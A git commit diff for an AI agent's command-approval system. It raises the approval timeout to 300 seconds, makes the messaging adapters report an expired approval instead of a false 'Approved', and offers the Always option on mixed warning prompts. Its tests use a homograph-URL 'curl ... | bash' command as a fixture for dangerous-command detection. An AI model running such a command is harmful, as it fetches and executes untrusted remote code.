fix(approval): raise gateway approval timeout to 300s, honest stale-tap UX, offer Always on mixed prompts (#68597)

Three related messaging-approval fixes:

1. approvals.timeout default 60 -> 300. PR #63501 collapsed the gateway
   wait onto the canonical approvals.timeout (previously
   gateway_timeout=300), silently shrinking messaging approval windows
   to 60s. Push-notification approvals routinely arrive later than a
   minute; taps landed after the wait had already failed closed.

2. Stale-tap honesty: adapters resolved the approval AFTER rendering
   '<checkmark> Approved by <user>' (Telegram/Discord/Slack), or ignored a zero
   resolve count (WhatsApp Cloud/Feishu). A tap on an expired prompt
   claimed approval while the command had already been denied. All
   button paths now resolve first and render 'Approval expired -
   command was not run' when nothing was waiting.

3. Mixed-warning prompts (dangerous pattern + tirith finding) now offer
   Always: the persistence layer already permanently allowlists the
   pattern key and downgrades the tirith key to session scope, but the
   UI hid Always whenever ANY tirith warning was present. Pure-tirith
   prompts still withhold Always (content findings are session-max by
   design), and Smart-DENY overrides remain once-only.
This commit is contained in:
Teknium 2026-07-21 05:41:41 -07:00 committed by GitHub
parent afb7bf6a5a
commit a31a31826c
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
13 changed files with 219 additions and 75 deletions

2
cli.py
View File

@ -11409,7 +11409,7 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin, CLIBillingMixin):
import time as _time
with self._approval_lock:
timeout = int(CLI_CONFIG.get("approvals", {}).get("timeout", 60))
timeout = int(CLI_CONFIG.get("approvals", {}).get("timeout", 300))
response_queue = queue.Queue()
self._approval_state = {

View File

@ -1793,11 +1793,19 @@ class WhatsAppCloudAdapter(WhatsAppBehaviorMixin, BasePlatformAdapter):
"(session_key=%s) — likely already resolved",
session_key,
)
# Send confirmation message — paralleling Telegram's UX.
# Send confirmation message — paralleling Telegram's UX. A tap
# that lands after the wait timed out (count == 0) must not claim
# the command was approved: it was already denied fail-closed.
try:
confirm_text = (
"✅ Approved." if choice == "approve" else "❌ Denied."
)
if count:
confirm_text = (
"✅ Approved." if choice == "approve" else "❌ Denied."
)
else:
confirm_text = (
"⌛ Approval expired — command was not run "
"(already timed out or resolved elsewhere)."
)
await self.send(str(raw_message.get("from") or ""), confirm_text)
except Exception:
logger.exception("[whatsapp_cloud] approval confirm failed")

View File

@ -201,7 +201,7 @@ def approval_callback(cli, command: str, description: str) -> str:
with lock:
from cli import CLI_CONFIG
timeout = CLI_CONFIG.get("approvals", {}).get("timeout", 60)
timeout = CLI_CONFIG.get("approvals", {}).get("timeout", 300)
response_queue = queue.Queue()
choices = ["once", "session", "always", "deny"]
if len(command) > 70:

View File

@ -2672,9 +2672,15 @@ DEFAULT_CONFIG = {
# cron_mode — what to do when a cron job hits a dangerous command:
# deny — block the command and let the agent find another way (default, safe)
# approve — auto-approve all dangerous commands in cron jobs
#
# timeout — seconds to wait for the user's approve/deny before failing
# closed (deny). Shared by the CLI prompt and gateway/messaging waits.
# Messaging approvals arrive as a push notification the user may not see
# immediately — 60s proved too tight on Telegram/Discord (the prompt
# expired before the user reached their phone), so the default is 300.
"approvals": {
"mode": "smart",
"timeout": 60,
"timeout": 300,
"cron_mode": "deny",
# User-defined deny rules: fnmatch globs matched against terminal
# commands. A match blocks the command unconditionally — BEFORE the

View File

@ -7865,19 +7865,9 @@ def _define_discord_view_classes() -> None:
self.resolved = True
# Update the embed with the decision
embed = interaction.message.embeds[0] if interaction.message.embeds else None
if embed:
embed.color = color
embed.set_footer(text=f"{label} by {interaction.user.display_name}")
# Disable all buttons
for child in self.children:
child.disabled = True
await interaction.response.edit_message(embed=embed, view=self)
# Unblock the waiting agent thread via the gateway approval queue
# Unblock the waiting agent thread FIRST, then render the outcome.
# A click that lands after the approval wait timed out (count == 0)
# must not claim "Approved" — the command was already denied.
try:
from tools.approval import resolve_gateway_approval
count = resolve_gateway_approval(self.session_key, choice)
@ -7887,6 +7877,24 @@ def _define_discord_view_classes() -> None:
)
except Exception as exc:
logger.error("Failed to resolve gateway approval from button: %s", exc)
count = 0
if not count:
color = discord.Color.dark_grey()
label = "⌛ Approval expired — command was not run (already timed out or resolved elsewhere)"
# Update the embed with the decision
embed = interaction.message.embeds[0] if interaction.message.embeds else None
if embed:
embed.color = color
footer = f"{label} by {interaction.user.display_name}" if count else label
embed.set_footer(text=footer)
# Disable all buttons
for child in self.children:
child.disabled = True
await interaction.response.edit_message(embed=embed, view=self)
@discord.ui.button(label="Allow Once", style=discord.ButtonStyle.green)
async def allow_once(

View File

@ -2872,6 +2872,22 @@ class FeishuAdapter(BasePlatformAdapter):
"Feishu button resolved %d approval(s) for session %s (choice=%s, user=%s)",
count, state["session_key"], choice, user_name,
)
if not count and choice != "deny":
# The card was already updated synchronously to "Approved" by
# the callback response, but nothing was waiting — the wait
# already timed out (fail-closed deny) or was resolved via
# /approve. Correct the record so the user doesn't believe
# the command ran.
_chat = str(state.get("chat_id", "") or chat_id or "")
if _chat:
try:
await self.send(
_chat,
"⌛ That approval had already expired — the command "
"was not run (it timed out or was resolved elsewhere).",
)
except Exception:
logger.debug("[Feishu] expired-approval notice failed", exc_info=True)
except Exception as exc:
logger.error("Failed to resolve gateway approval from Feishu button: %s", exc)

View File

@ -4223,6 +4223,26 @@ class SlackAdapter(BasePlatformAdapter):
if self._approval_resolved.pop(msg_ts, True):
return
# Resolve the approval FIRST — this unblocks the agent thread. Render
# after, so a click that lands past the approval timeout (count == 0)
# shows "expired" instead of falsely claiming the command was approved.
try:
from tools.approval import resolve_gateway_approval
count = resolve_gateway_approval(session_key, choice)
logger.info(
"Slack button resolved %d approval(s) for session %s (choice=%s, user=%s)",
count,
session_key,
choice,
user_name,
)
except Exception as exc:
logger.error(
"Failed to resolve gateway approval from Slack button: %s", exc
)
count = 0
# Update the message to show the decision and remove buttons
label_map = {
"once": f"✅ Approved once by {user_name}",
@ -4231,6 +4251,11 @@ class SlackAdapter(BasePlatformAdapter):
"deny": f"❌ Denied by {user_name}",
}
decision_text = label_map.get(choice, f"Resolved by {user_name}")
if not count:
decision_text = (
"⌛ Approval expired — command was not run "
"(already timed out or resolved elsewhere)"
)
# Get original text from the section block
original_text = ""
@ -4265,24 +4290,7 @@ class SlackAdapter(BasePlatformAdapter):
except Exception as e:
logger.warning("[Slack] Failed to update approval message: %s", e)
# Resolve the approval — this unblocks the agent thread
try:
from tools.approval import resolve_gateway_approval
count = resolve_gateway_approval(session_key, choice)
logger.info(
"Slack button resolved %d approval(s) for session %s (choice=%s, user=%s)",
count,
session_key,
choice,
user_name,
)
except Exception as exc:
logger.error(
"Failed to resolve gateway approval from Slack button: %s", exc
)
# (approval state already consumed by atomic pop above)
# (approval already resolved above; state consumed by atomic pop)
# ----- Thread context fetching -----

View File

@ -5963,29 +5963,14 @@ class TelegramAdapter(BasePlatformAdapter):
await query.answer(text="This approval has already been resolved.")
return
# Map choice to human-readable label
label_map = {
"once": "✅ Approved once",
"session": "✅ Approved for session",
"always": "✅ Approved permanently",
"deny": "❌ Denied",
}
user_display = getattr(query.from_user, "first_name", "User")
label = label_map.get(choice, "Resolved")
await query.answer(text=label)
# Edit message to show decision, remove buttons
try:
await query.edit_message_text(
text=self.format_message(f"{label} by {user_display}"),
parse_mode=ParseMode.MARKDOWN_V2,
reply_markup=None,
)
except Exception:
pass # non-fatal if edit fails
# Resolve the approval — unblocks the agent thread
# Resolve the approval FIRST — unblocks the agent thread.
# Rendering happens after so the message reflects what
# actually occurred: a tap that lands after the approval
# wait timed out (count == 0) must NOT claim "Approved" —
# the command was already denied and will not run (#63501
# regression follow-up: 60s waits made stale taps common).
try:
from tools.approval import resolve_gateway_approval
count = resolve_gateway_approval(session_key, choice)
@ -5997,6 +5982,35 @@ class TelegramAdapter(BasePlatformAdapter):
logger.error("Failed to resolve gateway approval from Telegram button: %s", exc)
count = 0
if count:
# Map choice to human-readable label
label_map = {
"once": "✅ Approved once",
"session": "✅ Approved for session",
"always": "✅ Approved permanently",
"deny": "❌ Denied",
}
label = label_map.get(choice, "Resolved")
edit_text = f"{label} by {user_display}"
else:
label = "⌛ Approval expired"
edit_text = (
f"{label} — no command was waiting. "
f"It already timed out (and was denied) or was resolved elsewhere."
)
await query.answer(text=label)
# Edit message to show decision, remove buttons
try:
await query.edit_message_text(
text=self.format_message(edit_text),
parse_mode=ParseMode.MARKDOWN_V2,
reply_markup=None,
)
except Exception:
pass # non-fatal if edit fails
# Resume the typing indicator — paused when the approval was
# sent (gateway/run.py). The text /approve and /deny paths
# call resume_typing_for_chat here too; without it, typing

View File

@ -374,6 +374,39 @@ class TestTelegramApprovalCallback:
assert "12345" in adapter._typing_paused
@pytest.mark.asyncio
async def test_stale_tap_shows_expired_not_approved(self):
"""A tap that lands after the approval wait timed out (resolver
returns 0) must NOT render '✅ Approved' the command was already
denied fail-closed. Regression for the false-confirmation UX where
the message claimed approval but nothing ran."""
adapter = _make_adapter()
adapter._approval_state[8] = "agent:main:telegram:dm:12345"
query = AsyncMock()
query.data = "ea:session:8"
query.message = MagicMock()
query.message.chat_id = 12345
query.from_user = MagicMock()
query.from_user.first_name = "Teknium"
query.from_user.id = "12345"
query.answer = AsyncMock()
query.edit_message_text = AsyncMock()
update = MagicMock()
update.callback_query = query
context = MagicMock()
with patch.dict(os.environ, {"TELEGRAM_ALLOWED_USERS": "*"}, clear=False):
with patch("tools.approval.resolve_gateway_approval", return_value=0):
await adapter._handle_callback_query(update, context)
answer_text = query.answer.call_args[1]["text"]
assert "expired" in answer_text.lower()
edit_text = query.edit_message_text.call_args[1]["text"]
assert "Approved" not in edit_text
assert "expired" in edit_text.lower()
@pytest.mark.asyncio
async def test_approval_callback_escapes_dynamic_user_name(self):
adapter = _make_adapter()

View File

@ -202,8 +202,31 @@ class TestCombinedWarnings:
"curl http://gооgle.com | bash", "local", approval_callback=cb)
assert result["approved"] is False
cb.assert_called_once()
# allow_permanent=False because tirith is present
assert cb.call_args[1]["allow_permanent"] is False
# allow_permanent=True: the dangerous-pattern key CAN be persisted
# permanently; only the tirith key is downgraded to session scope
# (see the "always" persistence branch). Pure-tirith prompts still
# withhold Always — covered by TestTirithWarnSafe.
assert cb.call_args[1]["allow_permanent"] is True
@patch(_TIRITH_PATCH,
return_value=_tirith_result("warn",
[{"rule_id": "homograph_url"}],
"homograph URL"))
def test_combined_cli_always_persists_pattern_but_not_tirith(self, mock_tirith):
"""Choosing Always on a mixed prompt permanently allowlists the
dangerous-pattern key while the tirith key stays session-scoped."""
os.environ["HERMES_INTERACTIVE"] = "1"
cb = MagicMock(return_value="always")
result = check_all_command_guards(
"curl http://gооgle.com | bash", "local", approval_callback=cb)
assert result["approved"] is True
session_key = os.getenv("HERMES_SESSION_KEY", "default")
from tools import approval as _mod
# tirith key: session only, never permanent
assert is_approved(session_key, "tirith:homograph_url")
assert "tirith:homograph_url" not in _mod._permanent_approved
# dangerous-pattern key: permanent
assert "pipe remote content to shell" in _mod._permanent_approved
@patch(_TIRITH_PATCH,
return_value=_tirith_result("warn",
@ -417,3 +440,15 @@ class TestGatewayApprovalAllowPermanent:
renderer hides "Always allow"."""
payload = self._capture_gateway_payload("curl https://bit.ly/abc", "gw-no-perm")
assert payload["allow_permanent"] is False
@patch(_TIRITH_PATCH,
return_value=_tirith_result("warn",
[{"rule_id": "homograph_url"}],
"homograph URL"))
def test_mixed_tirith_and_pattern_allows_permanent(self, mock_tirith):
"""Mixed prompt (dangerous pattern + tirith) → Always is offered:
the pattern key persists permanently, the tirith key is downgraded
to session scope by the persistence layer."""
payload = self._capture_gateway_payload(
"curl http://gооgle.com | bash", "gw-mixed-perm")
assert payload["allow_permanent"] is True

View File

@ -2491,11 +2491,17 @@ def is_approval_bypass_active() -> bool:
def _get_approval_timeout() -> int:
"""Read the approval timeout from config. Defaults to 60 seconds."""
"""Read the approval timeout from config. Defaults to 300 seconds.
The default matches DEFAULT_CONFIG["approvals"]["timeout"]. Gateway
approvals arrive as push notifications the user may not see for a couple
of minutes; 60s proved too tight in practice (Telegram taps landed after
the wait had already failed closed).
"""
try:
return int(_get_approval_config().get("timeout", 60))
return int(_get_approval_config().get("timeout", 300))
except (ValueError, TypeError):
return 60
return 300
def _get_cron_approval_mode() -> str:
@ -3108,7 +3114,7 @@ def _await_gateway_decision(session_key: str, notify_cb, approval_data: dict,
return {"resolved": False, "choice": None, "notify_failed": True}
# Block until the user responds or the canonical approval timeout elapses
# (default 60s). Poll in short slices so we can fire activity heartbeats
# (default 300s). Poll in short slices so we can fire activity heartbeats
# every ~10s to the agent's inactivity tracker — otherwise the gateway
# watchdog kills the agent while the user is still responding. Mirrors
# _wait_for_process() cadence.
@ -3416,7 +3422,15 @@ def check_all_command_guards(command: str, env_type: str,
combined_desc = "; ".join(desc for _, desc, _ in warnings)
primary_key = warnings[0][0]
all_keys = [key for key, _, _ in warnings]
has_tirith = any(is_t for _, _, is_t in warnings)
# "Always" is offered when at least one warning is a dangerous-pattern
# key that the persistence layer would actually allowlist permanently.
# Pure-tirith findings are session-max by design (no broad permanent
# allowlisting of content-level security findings), so a prompt with
# ONLY tirith warnings keeps Always hidden. Mixed prompts (pattern +
# tirith) previously hid Always too, even though choosing it would
# correctly persist the pattern key and downgrade the tirith key to
# session — the UI was stricter than the persistence layer.
has_permanent_capable = any(not is_t for _, _, is_t in warnings)
# Gateway/async approval — block the agent thread until the user
# responds with /approve or /deny, mirroring the CLI's synchronous
@ -3446,8 +3460,10 @@ def check_all_command_guards(command: str, env_type: str,
"pattern_keys": all_keys,
"description": redact_sensitive_text(combined_desc),
# Smart DENY overrides are one-operation decisions, so the UI
# must not offer a permanent scope.
"allow_permanent": not has_tirith and not smart_denied_for_owner,
# must not offer a permanent scope. Otherwise offer Always
# whenever any dangerous-pattern warning can actually be
# persisted (pure-tirith prompts stay session-max).
"allow_permanent": has_permanent_capable and not smart_denied_for_owner,
}
if smart_denied_for_owner:
approval_data["smart_denied"] = True
@ -3550,7 +3566,7 @@ def check_all_command_guards(command: str, env_type: str,
return result
# CLI interactive: single combined prompt
# Hide [a]lways when any tirith warning is present
# Hide [a]lways when no persistable (non-tirith) warning is present
_fire_approval_hook(
"pre_approval_request",
command=command,
@ -3563,7 +3579,7 @@ def check_all_command_guards(command: str, env_type: str,
choice = prompt_dangerous_approval(
command,
combined_desc,
allow_permanent=not has_tirith and not smart_denied_for_owner,
allow_permanent=has_permanent_capable and not smart_denied_for_owner,
smart_denied=smart_denied_for_owner,
approval_callback=approval_callback,
)

View File

@ -32,7 +32,7 @@ The approval system supports three modes, configured via `approvals.mode` in `~/
```yaml
approvals:
mode: smart # smart | manual | off
timeout: 60 # seconds to wait for user response (default: 60)
timeout: 300 # seconds to wait for user response (default: 300)
cron_mode: deny # deny | approve — what cron jobs do when they hit a dangerous command
mcp_reload_confirm: true # /reload-mcp asks before invalidating the MCP tool cache
destructive_slash_confirm: true # /clear, /new, /reset, /undo prompt before discarding state
@ -43,7 +43,7 @@ The full set of keys:
| Key | Default | What it controls |
|---|---|---|
| `mode` | `smart` | Approval policy for dangerous shell commands — see the table below. |
| `timeout` | `60` | Seconds Hermes waits for an approval reply before timing out. |
| `timeout` | `300` | Seconds Hermes waits for an approval reply before timing out. |
| `cron_mode` | `deny` | How [cron jobs](./features/cron.md) behave headlessly when they trigger a dangerous-command prompt. `deny` blocks the command (the agent must find another path); `approve` auto-approves everything in cron context. |
| `mcp_reload_confirm` | `true` | When true, `/reload-mcp` asks before rebuilding the MCP tool set. Rebuilding invalidates the provider prompt cache (tool schemas live in the system prompt), so the next message re-sends full input tokens. Users who click **Always Approve** flip this key to `false`. |
| `destructive_slash_confirm` | `true` | When true, destructive session slash commands (`/clear`, `/new`, `/reset`, `/undo`) prompt before discarding conversation state. Three-option dialog (Approve Once / Always Approve / Cancel) routed through native yes/no buttons on Telegram, Discord, and Slack; text fallback elsewhere. Users who click **Always Approve** flip this key to `false`. TUI uses its own modal overlay (set `HERMES_TUI_NO_CONFIRM=1` to opt out there). |
@ -145,7 +145,7 @@ Configure the timeout in `~/.hermes/config.yaml`:
```yaml
approvals:
timeout: 60 # seconds (default: 60)
timeout: 300 # seconds (default: 300)
```
### What Triggers Approval

View File

@ -31,7 +31,7 @@ Hermes Agent 采用纵深防御安全模型。本页涵盖所有安全边界—
```yaml
approvals:
mode: smart # smart | manual | off
timeout: 60 # 等待用户响应的秒数默认60
timeout: 300 # 等待用户响应的秒数默认300
```
| 模式 | 行为 |
@ -105,7 +105,7 @@ YOLO 模式会禁用会话中**所有**危险命令安全检查——**但硬性
```yaml
approvals:
timeout: 60 # 秒默认60
timeout: 300 # 秒默认300
```
### 触发审批的条件